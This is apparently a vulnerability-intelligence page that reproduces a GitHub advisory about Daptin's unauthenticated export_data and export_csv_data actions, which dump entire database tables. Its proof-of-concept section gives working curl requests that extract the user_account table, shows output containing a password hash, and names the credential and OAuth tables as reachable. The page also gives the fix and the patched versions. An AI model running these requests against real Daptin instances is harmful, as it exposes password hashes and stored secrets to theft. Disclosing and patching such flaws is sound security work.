llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/daptin/daptin

GHSA-8652-FX37-PJFX

Unauthenticated full database read via the built-in export_data/export_csv_data actions

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición112 dDesde la divulgación, 30 jul 2026, 6:16 a. m.
Detección111 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v0.12.31
Monitoreo
Detectada +1
30 jul 26
18 nov 26
20 nov 26
30 jul 26
27 ago 26
24 sept 26
23 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8652-FX37-PJFX divulgada · CVSS 7.5 (GitHub)
Remediación Parche v0.12.31 github.com/daptin/daptin · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Every Daptin instance ships two built-in actions, `export_data` and `export_csv_data`, that dump the complete contents of any named table. Neither action declares an explicit `Permission`, so both are inserted into the `action` table with `auth.ALLOW_ALL_PERMISSIONS` - a bit set that includes `GuestExecute`. As a result, any unauthenticated request can call `POST /action/world/export_data` with an arbitrary `table_name` and receive a complete, unfiltered dump of that table. This was verified end-to-end: a single unauthenticated HTTP request against a freshly-booted instance (before *and* after an administrator account was bootstrapped) returned the full `user_account` table, including a real user's bcrypt password hash in cleartext-of-the-hash form, and the mechanism equally reaches the `oauth_connect` and `credential` tables.

Details

Both actions are declared with no `Permission` field set:

// server/resource/columns.go:649-689 (export_data, abridged)
{
    Name:             "export_data",
    Label:            "Export data for backup",
    OnType:           "world",
    InstanceOptional: true,
    InFields: []api2go.ColumnInfo{
        {ColumnName: "table_name", Name: "table_name", ColumnType: "label"},
        {ColumnName: "format", Name: "format", ColumnType: "label", DefaultValue: "json"},
        ...
    },
    OutFields: []actionresponse.Outcome{
        {Type: "__data_export", Method: "EXECUTE", Attributes: map[string]interface{}{
            "table_name": "~table_name", "format": "~format", ...
        }},
    },
    // no Permission field set
},
// server/resource/columns.go:690-711 (export_csv_data, same pattern)
{
    Name: "export_csv_data", OnType: "world", InstanceOptional: true,
    InFields: []api2go.ColumnInfo{{ColumnName: "table_name", ...}},
    OutFields: []actionresponse.Outcome{{Type: "__csv_data_export", Method: "EXECUTE",
        Attributes: map[string]interface{}{"table_name": "~table_name"}}},
    // no Permission field set
},

When these action definitions are synced into the `action` database table, the sync code applies the following default whenever `action.Permission` is nil:

// server/resource/dbfunctions_update.go:883-885
actionPermission := auth.ALLOW_ALL_PERMISSIONS
if action.Permission != nil {
    actionPermission = *action.Permission
}

`ALLOW_ALL_PERMISSIONS` (`server/auth/auth.go:73`) is `GuestCRUD | GuestExecute | UserCRUD | UserExecute | GroupCRUD | GroupExecute` - it includes `GuestExecute`, meaning `IsUserActionAllowedWithTransaction` (which gates `POST /action/:typename/:actionName`) returns `true` for a completely anonymous caller.

The performers behind these actions then read the requested table with zero row/column filtering:

// server/actions/action_export_csv_data.go:36-47
tableNameStr := tableName.(string)
objects, err := d.cruds[tableNameStr].GetAllRawObjectsWithTransaction(tableNameStr, transaction)
...
result[tableNameStr] = objects
// server/resource/dbmethods.go:2699-2732
func (dbResource *DbResource) GetAllRawObjectsWithTransaction(typeName string, transaction *sqlx.Tx) ([]map[string]interface{}, error) {
    s, q, err := statementbuilder.Squirrel.Select(goqu.L("*")).Prepared(true).From(typeName).ToSQL()
    ...
    row, err := stmt1.Queryx(q...)
    ...
    m, err := RowsToMap(row, typeName)
    return m, err
}
PoC

Built and ran current HEAD in a clean container.

Before any account exists at all:

curl -s -X POST http://localhost:6336/action/world/export_data \
  -H "Content-Type: application/json" \
  -d '{"attributes":{"table_name":"user_account","format":"json"}}'

Returns HTTP 200 with a `client.file.download` response whose base64 `content` decodes to a full JSON dump of `user_account`.

After creating one real account and bootstrapping an administrator (`become_an_administrator`, then a full server restart - the standard, documented setup flow):

curl -s -X POST http://localhost:6336/action/world/export_data \
  -H "Content-Type: application/json" \
  -d '{"attributes":{"table_name":"user_account","format":"json"}}'

Still HTTP 200, still no `Authorization` header sent, decoded response:

{
"user_account": [
{"__type":"user_account","email":"guest@cms.go","id":1,"name":"guest","password":null,...},
{"__type":"user_account","email":"victim@victim.com","id":2,"name":"Victim",
 "password":"$2a$11$8gD8.gT70qoaLpj0B1C63eufl.Hdp2wgfqER10VgC9kheas2Agyza",
 "reference_id":"019f6946-a285-787b-8486-71e23fcd28d9", ...}
]}

The victim's real bcrypt password hash, email, and reference ID are returned to a fully anonymous caller. The same unauthenticated request against `table_name=oauth_connect` and `table_name=credential` also succeeds (returning an empty array only because this test instance had no OAuth connections or cloud-storage credentials configured - the query itself is identically unrestricted).

Impact

An unauthenticated attacker can extract the contents of all database tables, including sensitive data such as password hashes, email addresses, cloud/SMTP/S3 credentials, and OAuth secrets. This enables offline password cracking, credential theft, and subsequent compromise of Daptin accounts and any connected third-party services.

Resolution

Fixed by commit `4c4b034f` https://github.com/daptin/daptin/commit/4c4b034f10526e4007fdc41a5e2ea7b34a1f5ce5. The built-in `export_data` and `export_csv_data` action rows now have zero base permission and an administrators-only execute binding. Schema synchronization applies both restrictions to existing installations as well as newly created action rows.

Regression coverage verifies the restricted base permission, administrators-only execute binding, and synchronization behavior. Released in `v0.12.31` https://github.com/daptin/daptin/releases/tag/v0.12.31. Versions before 0.12.31 are affected.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/daptin/daptin< 0.12.31
0.12.31
v0.13.57
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/daptin/daptin
Corregida v0.12.31 0 d v0.13.57 no afectada
Versiones corregidas0.12.31v0.12.31
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/daptin/daptin/security/advisories/GHSA-8652-fx37-pjfx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.